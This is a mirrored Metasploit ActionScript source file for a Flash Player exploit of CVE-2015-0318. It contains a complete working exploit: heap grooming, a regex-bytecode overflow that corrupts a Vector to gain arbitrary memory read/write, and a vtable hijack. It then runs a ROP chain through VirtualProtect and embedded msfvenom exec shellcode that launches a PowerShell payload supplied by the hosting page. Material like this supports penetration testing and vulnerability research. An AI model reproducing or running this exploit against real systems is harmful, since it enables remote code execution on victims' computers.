CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-0318/Main.as
Views: 11779
package 
{
	/*
	To compile (AIRSDK + Flex):
	mxmlc Main.as -o Main.swf -strict=false
	*/

	import mx.utils.Base64Decoder;
	import flash.display.*;
	import flash.utils.ByteArray;
	import flash.external.ExternalInterface;
	import mx.utils.Base64Decoder;
	
	public class Main extends Sprite
	{
		private var i:int;
		private var j:int;
		
		private const OP_END:int = 0;
		private const OP_ANY:int = 12;
		private const OP_KET:int = 84;
		private const OP_CBRA:int = 94;
		private const OP_FAIL:int = 108;
		private const OP_ACCEPT:int = 109;
		
		private var testSubject:String = 'c01db33f';
		private var subject:String = '';
		
		private var count_576:int = 128;
		private var pre_576:int = 4;
		private var groom_576:Array = new Array(count_576);
		
		private var count_re:int = 8;
		private var source_re:Vector.<String> = new Vector.<String>(count_re);
		private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
		private var subjects:Vector.<String> = new Vector.<String>(count_re);
		
		private var count_504:int = 256 * 3;
		private var pre_504:int = 30;
		private var groom_504:Array = new Array(count_504);
		
		private var junk:Array = new Array();
		private var junk_idx:int = 0;
		
		public static function Debug(message:String):void {
			ExternalInterface.call('console.log', message);
		}
		
		public function MakeRegex(c:String):String {
			var i:int;
			var r:String = '(c01db33f|^(' + c + '*)'
			for (i = 0; i < 39; ++i) {
				r += '(A)';
			}
			r += '\\'
			r += '41';
			for (i = 0; i < 20; ++i) {
				r += 'A';
			}
			r += '(' 
			r += '\\'
			r += 'c'
			r += '\uc080'
			r += '*)?(?70))';
			return r;
		}
		
		public function MakeSubject(c:String):String {
			var i:int;
			var s:String = c;
			for (i = 0; i < 0x80 - 0x3d; ++i) {
				s += c;
			}
			for (i = 0; i < 60; ++i) {
				s += 'A';
			}
			return s;
		}
		
		public function MakeByteArray(size:int):ByteArray {
			var i:int = 0;
			var b:ByteArray = new ByteArray();
			b.length = size;
			for (i = 0; i < size; ++i) {
				b.writeByte(0x23);
			}
			return b;
		}
		
		public function Initialise():void {
			for (i = 0; i < 8; ++i) {
				subjects[i] = MakeSubject(i.toString());
				source_re[i] = MakeRegex(i.toString());
			}	
		}
		
		public function CompileRegex():RegExp {
			
			// heap groom the block of regex bytecode we want to follow our
			// legitimate bytecode.
			
			for (i = 0; i < count_576; ++i) {
				var b:ByteArray = new ByteArray();
				b.length = 576;
				
				// regex nop sled :-p
				for (j = 0; j < 500; ++j) {
					b.writeByte(OP_ANY);
				}
				
				// this is the capturing bracket that find_bracket will be 
				// looking for to match (?70)
				b.writeByte(OP_CBRA);
				b.writeByte(1); 	    // WORD length of group (only != 0)
				b.writeByte(0);
				b.writeByte(0); 	    // WORD number of group (must == 70)
				b.writeByte(70);
				
				// we use OP_CBRA to write the current match length at one 
				// dword past the end of our offset_vector.
				//
				// this is due to another bug in pcre_exec where it is 
				// assumed that the group number is 
				// 			0 < number < md->offset_max
				// and it is only checked that group < md->offset_max, and
				// then indexing is done backwards frm the end of the buffer,
				// so a group number of 0 lets us index one dword past the end
				// of the offset_vector.
				
				b.writeByte(OP_CBRA);
				b.writeByte(0); 	    // WORD length of group
				b.writeByte(0);
				b.writeByte(0); 	    // WORD number of group
				b.writeByte(0);
				
				// we're done with executing this regex for now.
				b.writeByte(OP_ACCEPT); // yay a match :-)
				
				b.writeByte(OP_KET);    // closing KET for group (?70)
				b.writeByte(OP_KET);    // closing KET for exploit group
				
				b.writeByte(OP_END);
				
				b.writeByte(0);
				
				groom_576[i] = b;
			}
			
			// make some gaps
			for (i = 0; i < count_576; i += 2) {
				groom_576[i].length = 0;
				groom_576[i] = null;
			}

			for (i = 0; i < (pre_576 * 2); i += 2) {
				groom_576[i] = MakeByteArray(576);
			}
			
			for (i = 0; i < count_re; ++i) {
				try {
					Debug('[*] compiling regex');
					var re:RegExp = new RegExp(source_re[i]);
					compiled_re[i] = re;
					var match:Object = re.exec(testSubject);
					if (match != null && match[0] == 'c01db33f') {
						Debug('[*] compiled successfully');
						subject = subjects[i];
						return re;
					}
					else {
						// that allocation was no good, fill with a bytearray
						junk[junk_idx++] = MakeByteArray(576);
					}
				} catch (error:Error) {
					Debug('[*] error compiling regex: ' + error.message);
				}
				
				Debug('[*] failed...');
			}
			
			Debug('[*] failed first groom');
			return null;
		}
		
		public function negative(i:uint):uint {
			return (~i) + 1;
		}
		
		public function CorruptVector(r:RegExp):Vector.<uint> {
			
			var v:Vector.<uint> = null;
			var uv:Vector.<uint> = null;
			var ov:Vector.<Object> = null;
			
			for (i = 0; i < count_504; ++i) {
				v = new Vector.<uint>(124);
				v[0] = 0xc01db33f
				v[1] = i;
				for (j = 2; j < 124; ++j) {
					v[j] = 0x88888888;
				}
				groom_504[i] = v;
			}
			
			for (i = 0; i < count_504; i += 3) {
			    groom_504[i].length = 0;
				groom_504[i] = null;
			}
			
			for (i = 0; i < pre_504; i += 1) {
				junk[junk_idx++] = MakeByteArray(504);
			}
			
			v = null;
			for (i = 0; i < 128; i += 3) {
				try {
					Debug('[*] executing regex');
					r.exec(subject);
				} catch (error:Error) {
					Debug('[*] regex execution failed: ' + error.message);
				}
				
				for (j = 1; j < count_504; j += 3) {
					if (groom_504[j].length != 124) {
						Debug('[*] corrupted vector');
						v = groom_504[j];
						break;
					}
				}
				
				if (v != null) {
					break;
				}
				
				Debug('[*] failed...');
				junk[junk_idx++] = MakeByteArray(504);
				junk[junk_idx++] = MakeByteArray(504);
			}
			
			// at this point we have a vector with a corrupt length,  hopefully
			// followed by another vector of legitimate length.
			
			if (v == null) {
				Debug('[*] failed to groom for vector corruption');
				return null;
			}

			if (v[126] != 0xc01db33f) {
				Debug('[*] magic check failed!');
			}
			
			// read out the index of the following vector; this is the vector
			// that we will use for the rest of the exploit
			
			i = v[127];
			uv = groom_504[i];
			uv.fixed = true;
			
			// corrupt the length of uv so that we can access all of memory :)
			
			v[124] = 0xffffffff;
			
			// first fix the length of the original corrupted array so we don't
			// need to worry about it any more...			
			
			uv[negative(0x80)] = 0x6e;
			
			// now read back 0x1f8 bytes before the first vector; this must be
			// inside the original offset_vector that we overflowed, (so it is
			// guaranteed to be safe) and this buffer is directly free'd at the
			// end of pcre_exec. as it's quite a large allocation, we can be 
			// quite sure that it is still on the freelist and we can steal the
			// freelist pointer from it, which will likely point to the block 
			// after our second vector.
			
			uv[0] = uv[negative(0xfe)];
			
			// we really can't do much sanity checking here; all we know is 
			// that this should be a pointer, and it will be 8 byte aligned.

			if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
				Debug('[*] freelist ptr sanity check failed!');
				uv[negative(2)] = 0x6e;
				return null;
			}
			
			// uv[0] == address of our vector.<uint>'s buffer
			
			uv[0] -= 0x1f0;
			
			return uv;
		}
		
		public function FindGCHeap(m:Memory):uint {
			
			// nothing much to say about this; we know that there's a 
			// FixedBlock at the start of the page that our vector is allocated
			// on, and that holds a pointer back to the global GCHeap, which is
			// a static singleton in the flash module. I've copied in the class
			// declarations for the structures being traversed, for reference.
			
			var fixed_block:uint = m.vector_base & 0xfffff000;
			
			/*
			struct FixedBlock
			{
				void*  firstFree;       // First object on the block's free list
				void*  nextItem;        // First object free at the end of the block
				FixedBlock* next;       // Next block on the list of blocks (m_firstBlock list in the allocator)
				FixedBlock* prev;       // Previous block on the list of blocks
				uint16_t numAlloc;      // Number of items allocated from the block
				uint16_t size;          // Size of objects in the block
				FixedBlock *nextFree;   // Next block on the list of blocks with free items (m_firstFree list in the allocator)
				FixedBlock *prevFree;   // Previous block on the list of blocks with free items
------->		FixedAlloc *alloc;      // The allocator that owns this block
				char   items[1];l       // Memory for objects starts here
			};
			*/
			
			var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
			
			/*
			class FixedAlloc
			{
			private:
------->		GCHeap *m_heap;             // The heap from which we obtain memory
				uint32_t m_itemsPerBlock;   // Number of items that fit in a block
				uint32_t m_itemSize;        // Size of each individual item
				
				FixedBlock* m_firstBlock;   // First block on list of free blocks
				FixedBlock* m_lastBlock;    // Last block on list of free blocks
				FixedBlock* m_firstFree;    // The lowest priority block that has free items

				size_t    m_numBlocks;      // Number of blocks owned by this allocator
		#ifdef MMGC_MEMORY_PROFILER
				size_t m_totalAskSize;      // Current total amount of memory requested from this allocator
		#endif
				bool const m_isFixedAllocSafe;  // true if this allocator's true type is FixedAllocSafe
			}
			*/
			
			var gcheap:uint = m.read_dword(fixed_alloc);
			
			return gcheap;
		}
		
		public function FindPwned(m:Memory, gcheap:uint):uint {
			
			// we're going to walk the heap to find it because we don't like
			// being crashy. a lazier approach would be to spray a ton of 
			// objects and scan forward from our array; this is more reliable.
			
			/*
			class GCHeap
			{
			public:
------->		Region *lastRegion;
			
			private:
				...
			};
			*/
			
			// I have no idea why this is at offset 4. GCheap is not virtual
			// so perhaps the Flash code has changed since the github avmplus 
			// release.
			
			var region:uint = m.read_dword(gcheap + 4);
		
			/*
			class Region
			{
			public:
				Region *prev;
				char *baseAddr;
				char *reserveTop;
				char *commitTop;
				size_t blockId;
			};
			*/
			
			while (region != 0) {
				var region_base:uint = m.read_dword(region + 4);				
				var region_rtop:uint = m.read_dword(region + 8);
				var region_top:uint = m.read_dword(region + 12);
				
				if (region_rtop & 1 != 0) {
					Debug('[*] this browser already got pwned, go away');
					return 0;
				}
				
				m.write_dword(region + 8, region_rtop + 1);
				
				// TODO: we can optimise here as we know the alignment of the
				// magic values.
				
				Debug('  [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
					
				for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
					if (m.read_dword(ptr) == 0xdecafbad
					    && m.read_dword(ptr + 4) == 0xdecafbad) {
						
						// we have found our two magic values
						return ptr - 0x10;
					}
				}
				
				// region = region->prev;
				region = m.read_dword(region);
			}
			
			return 0;
		}


		
		public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
			var myshellcode:Array = GetPayload();
			// at this point we are sandwiched on the stack between the current
			// frame and the previous frame; this is hazardous, we need to 
			// shift our stack back above the current frame or things will go 
			// wrong(tm).
			v[i++] = 0x1000ec81; // 81ec00100000      sub esp, 0x1000
			v[i++] = 0x90900000;

			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes

			// Our payload (see GetPayload)
			for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
				v[i++] = myshellcode[payload_i];
			}

			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
			

			// we just put things back how they were; at least, everything 
			// important. we need esp and ebp to be correct, which is easy;
			// we need ecx to point to the object's vtable and then we can
			// just jump to the actual method implementation as though we
			// had hooked it.
			
			v[i++] = 0x0bf8c481; // 81C4F80B0000      add esp,0xbf8
			v[i++] = 0x90900000;
			v[i++] = 0x1c24ac8d; // 8DAC241c120000    lea ebp,[esp+0x121c]
			v[i++] = 0x90000012;
			v[i++] = 0xb9909090; // B944434241        mov ecx, vtable_ptr
			v[i++] = ptr;
			v[i++] = 0xb8909090; // B844434241        mov eax, orig_function_ptr
			v[i++] = fun;   
			v[i++] = 0x9090e0ff; // FFE0              jmp eax
		}

		public function GetPayload():Array {
			// Grab the powershell payload from the sh parameter in the HTML file
			var b64:Base64Decoder = new Base64Decoder();
			var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
			b64.decode(raw_psh_payload);
			var psh_payload:String = b64.toByteArray().toString();

			// This is generated from here:
			// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
			// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
			var payload:String = "" +
			"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
			"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
			"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
			"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
			"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
			"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
			"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
			"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
			"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";

			// Here we convert the binary string to an array of DWORDS
			var arr:Array = new Array();
			for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
				var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
				var hex:String = ""; 
				for (var i2:int = 0; i2 < dword.length; i2++) {
					var byte:String = dword.charCodeAt(i2).toString(16);
					// The toString(16) conversion doesn't print zeros the way we want it.
					// Like for example: for a null byte, it returns: '0', but the format should be: '00'
					// Another example: For 0x0c, it returns 'c', but it should be '0c'
					if (byte == '0') {
						byte = "00";
					} else if (byte.length == 1) {
						byte = '0' + byte;
					}
					hex += byte;
				}
				var real_dword:uint = parseInt(hex, 16);
				arr.push(real_dword);
			}

			return arr;
		}


		public function Main() {
			i = 0;

			Initialise();
			
			var r:RegExp = CompileRegex();
			if (r == null) {
				return;
			}
			
			Debug("Corrupting Vector");
			
			var v:Vector.<uint> = CorruptVector(r);
			if (v == null) {
				Debug("CorruptVector returns null");
				return;
			}

			var m:Memory = new Memory(v, v[0], 0x6e);
			
			// at this point we have an absolute read/write primitive letting 
			// us read and write dwords anywhere in memory, so everything else
			// is a technicality.
			
			// we need an exception handler from here, because we have a vector
			// that's addressing the whole address space, and if anything goes
			// wrong, we want to clean that up or things will get unpleasant.
			
			try {
				
				// first we follow some pointers on the heap back to retrieve 
				// the address of the static GCHeap object in the flash module.
				
				// this is useful for two reasons; firstly it gives us a 
				// pointer into the flash module, but secondly (and more 
				// importantly) we can use the region lists in the GCHeap
				// structure to safely scan the heap to find things.
				
				var gcheap:uint = FindGCHeap(m);
				if (gcheap == 0) {
					return;
				}

				// now we can parse the flash module in memory, locate useful
				// imports and find the stack adjust gadget that we need.
				
				Debug('[*] scanning flash module for gadgets');
				var p:PE32 = new PE32(m, gcheap);
				
				Debug('  [-] ' + p.base.toString(16) + ' flash base');
				
				var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
				Debug('  [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');

				// Find this in Flash
				// 81 c4 40 00 00 00 add esp, 40h
				// c3                ret
				var gadget_bytes:ByteArray = new ByteArray();
				gadget_bytes.length = 7;
				gadget_bytes.writeByte(0x81);
				gadget_bytes.writeByte(0xc4);
				gadget_bytes.writeByte(0x40);
				gadget_bytes.writeByte(0x00);
				gadget_bytes.writeByte(0x00);
				gadget_bytes.writeByte(0x00);
				gadget_bytes.writeByte(0xc3);
				
				var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
				var ret:uint = add_esp_40h_ret + 6;
				Debug('  [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
				Debug('  [-] ' + ret.toString(16) + ' ret');
				
				// now we create an actionscript class that we can readily 
				// signature on the heap; we're going to find this object and
				// overwrite its vtable pointer to gain control of execution.
				
				Debug('[*] scanning heap to find pwned object');
				var pwned:Pwned = new Pwned();
				var pwned_ptr:uint = FindPwned(m, gcheap);
				Debug('[*] pwned object: ' + pwned_ptr.toString(16));
				if (pwned_ptr == 0) {
					return;
				}
				
				// we have a pointer to the object; save the vtable pointer for
				// replacement later and then create a new vtable containing 
				// our gadget at the correct offset for the 'Rop' function.
				
				// object ptr is actually a ScriptObject* for our ClassClosure?
				var object_ptr:uint = m.read_dword(pwned_ptr + 8);
				var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
				var method_ptr:uint = m.read_dword(vtable_ptr + 4);
				
				var shellcode:uint = m.vector_base + 4;	

				WriteShellcode(v, 1, vtable_ptr, method_ptr);
				
				// invoking the method first makes our life simpler; otherwise
				// flash will go hunt for the right method, and recovery was 
				// quite messy.
				
				var a:uint = 0x61616161;
				pwned.Rop(
					a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
				
				// overwrite the method pointer
				m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
					
				// fix up our vector length already, since we won't need it again.
				m.Cleanup();
				
				var PAGE_EXECUTE_READWRITE:uint = 0x40;
				
				// where better to rop than the actual stack :-P
				Debug('[*] getting ma rop on');
				pwned.Rop(
				
					// ret sled oh yeah!
					
					// actually this is just me lazily making stack space so 
					// that VirtualProtect doesn't trample all over any of 
					// flash's stuff and make it have a sad.
					
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, // 3f
					
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, // 7f
					
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, // cf
					
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					
					virtual_protect,        // BOOL WINAPI VirtualProtect(
					shellcode,		        // ...
					shellcode,              //     LPVOID  lpAddress,
					0x1000,                 //     SIZE_T  dwSize,
					PAGE_EXECUTE_READWRITE, //     DWORD   flNewProtect,
					m.vector_base,          //     LPDWORD lpflOldProtect
											// );
											
					0x41414141, 0x41414141);
			
				Debug('[*] we survived!');
				
				// no need to fix the vtable, as we only overwrote the pointer
				// for the Rop method, and it won't get called again.
				
			} catch (e:Error) {
				Debug('[!] error: ' + e.message);
			} finally {
				// we *always* need to clean up our corrupt vector as flash 
				// will try to zero it out later otherwise...
				
				Debug('[*] cleaning up corrupted vector');
				m.Cleanup();
			}
		}
	}
}